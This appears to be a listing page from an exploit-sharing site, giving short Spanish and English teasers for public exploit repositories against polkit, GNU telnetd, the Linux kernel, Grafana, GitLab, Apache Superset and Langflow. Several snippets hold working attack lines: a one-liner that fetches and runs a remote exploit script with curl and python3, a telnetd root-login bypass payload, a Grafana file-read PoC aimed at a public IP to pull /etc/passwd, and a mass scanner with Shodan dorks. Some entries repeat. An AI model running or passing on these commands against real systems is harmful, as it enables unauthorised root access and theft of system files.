CVE-2026-0740

CVE-2026-0740 : Ninja Forms - File Upload = 3.3.26 Subida de Archivos Arbitraria No Autenticada. Descripción : El plugin Ninja Forms - File Uploads para WordPress es vulnerable a la subida de archivos arbitraria no autenticada debido a la falta de validación del tipo de archivo y a la falta de...

CVE-2021-4034

CVE-2021-4034 Un día para el exploit de escalada de privilegios de polkit Solo ejecuta make, ./cve-2021-4034 y disfruta de tu shell de root. El aviso original de los autores reales está aquí PoC Si el exploit funciona, obtendrás un shell de root inmediatamente: root@kitploit:...

CVE-2021-4034

Exploit CVE-2021-4034 Exploit root para la vulnerabilidad PwnKit. Consulta el informe original aquí. Utiliza este exploit solo con el permiso expreso de los propietarios del sistema objetivo. Compilación No se necesitan dependencias además de libc. Solo ejecuta make. Ejecución Ejecutar sin opcion...

CVE-2026-24061

Bypass de Autenticación por Inyección de Argumentos en GNU InetUtils telnetd CVE-2026-24061 En enero de 2026, se descubrió que el servicio GNU telnetd de GNU InetUtils era vulnerable a un bypass de autenticación porKyu Neushwaistein alias Carlos Cortes Alvarez. Registrada como CVE-2026-24061, est...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash algunos usos: root@kitploit: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

CVE-2026-31431-CopyFail-Universal-LPE

CVE-2026-31431 "Copy Fail" — Exploit LPE Universal Escritura arbitraria de 4 bytes en la caché de páginas del kernel de Linux → Escalada de privilegios local Múltiples enfoques de explotación: sobrescritura dinámica del punto de entrada ELF, reemplazo completo del binario, compatible con Python 3...

CVE-2026-34940

CVE-2026-34940 — OS Command Injection in KubeAI via Model URL in Ollama startup probe Severity : High CVSS 8.7 CWE : CWE-78 — Improper Neutralization of Special Elements used in an OS Command Affected : github.com/kubeai-project/kubeai = 0.23.1 Fixed in : 0.23.2 Advisory : GHSA-324q-cwx9-7crr NVD...

CVE-2021-43798-mass_scanner

Grafana CVE 2021-43798 Grafana Unauthorized arbitrary file reading vulnerability CVE-2021-43798 deps root@kitploit: python3 -m pip install -r requirements.txt or pipenv install -r requirements.txt Dorks Dorks Shodan | Google Google Dorks Shodan Dorks Usage Targets without / at the end. And withou...

CVE-2021-43798-poc

CVE-2021-43798-poc Grafana8.x Arbitrary File Read python CVE-2021-43798-poc.py http://152.136.149.237:3000 /etc/passwd...

CVE-2021-4034

CVE-2021-4034 Prueba de concepto y parcheo de Pkexec de Polkit para CVE-2021-4034 Confirmado en Ubuntu 21.10 totalmente parcheado PoC Parcheo https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-40...

CVE-2026-24061

CVE-2026-24061 Pasos de reproducción Construir la imagen root@kitploit: docker build -t telnetd-bypass . Iniciar el contenedor root@kitploit: docker run -it --rm \ --name telnetd-vuln \ --privileged \ -p 23:23 \ telnetd-bypass Enviar el payload root@kitploit: USER='-f root' telnet -a 127.0.0.1 23...

CVE-2026-29909-MRCMS-vulnerability

CVE-2026-29909: MRCMS V3.1.2 - Enumeración de directorios sin autenticación ID de CVE CVE-2026-29909 Descripción MRCMS V3.1.2 contiene una vulnerabilidad de enumeración de directorios sin autenticación en el módulo de gestión de archivos. El endpoint /admin/file/list.do carece de controles de...

CVE-2021-4034

CVE-2021-4034 Un día para el exploit de escalada de privilegios de polkit Solo ejecuta make, ./cve-2021-4034 y disfruta de tu shell de root. El aviso original de los autores reales está aquí PoC Si el exploit funciona, obtendrás un shell de root inmediatamente: root@kitploit:...

CVE-2021-4034

CVE-2021-4034 Un día para el exploit de escalada de privilegios de polkit Solo ejecuta make, ./cve-2021-4034 y disfruta de tu shell de root. El aviso original de los autores reales está aquí PoC Si el exploit funciona, obtendrás un shell de root inmediatamente: root@kitploit:...

system_bt_A10_r33_CVE-2021-0474

Pila Bluetooth Fluoride Compilación y ejecución en AOSP Simplemente compila AOSP: Fluoride está ahí por defecto. Compilación y ejecución en Linux Instrucciones para Ubuntu, probadas en 14.04 con Clang 3.5.0 y 16.10 con Clang 3.8.0 Descargar el código fuente root@kitploit: mkdir /fluoride cd...

system_bt_A10-r33_CVE-2021-0474

Pila Bluetooth Fluoride Compilación y ejecución en AOSP Simplemente compila AOSP: Fluoride está ahí por defecto. Compilación y ejecución en Linux Instrucciones para Ubuntu, probadas en 14.04 con Clang 3.5.0 y 16.10 con Clang 3.8.0 Descargar el código fuente root@kitploit: mkdir /fluoride cd...

CVE-2021-22205-gitlab

Vuln Impact An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution. Vuln Product Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE...

CVE-2026-23980-Exploit

CVE-2026-23980 - Inyección SQL autenticada en Apache Superset root@kitploit: / \ | | | | | || | \\ sqlExpression va directo a la consulta. sin parametrización. sin esperanza. Apache Superset ChartDataRestApi.data - QueryContext.getdfpayload - SqlaTable.getsqlaquery - columna adhoc sqlExpression /...

CVE-2026-29597

CVE-2026-29597: Improper access control DDSN Interactive cm3 Acora CMS version 10.7.1 contains an improper access control vulnerability. An editor-privileged user can access sensitive configuration files by force browsing the “/Admin/filemanager/filedetails.asp” endpoint and manipulating the “fil...

CVE-2026-5027

Esta publicación es un artículo de investigación publicado por EQSTLab. Gracias aYahia Hamza, quien reportó y analizó esta vulnerabilidad. CVE-2026-5027 ★ CVE-2026-5027 Langflow Path Traversal / Arbitrary File Write PoC ★ Descripción CVE-2026-5027 : Vulnerabilidad de escritura arbitraria de...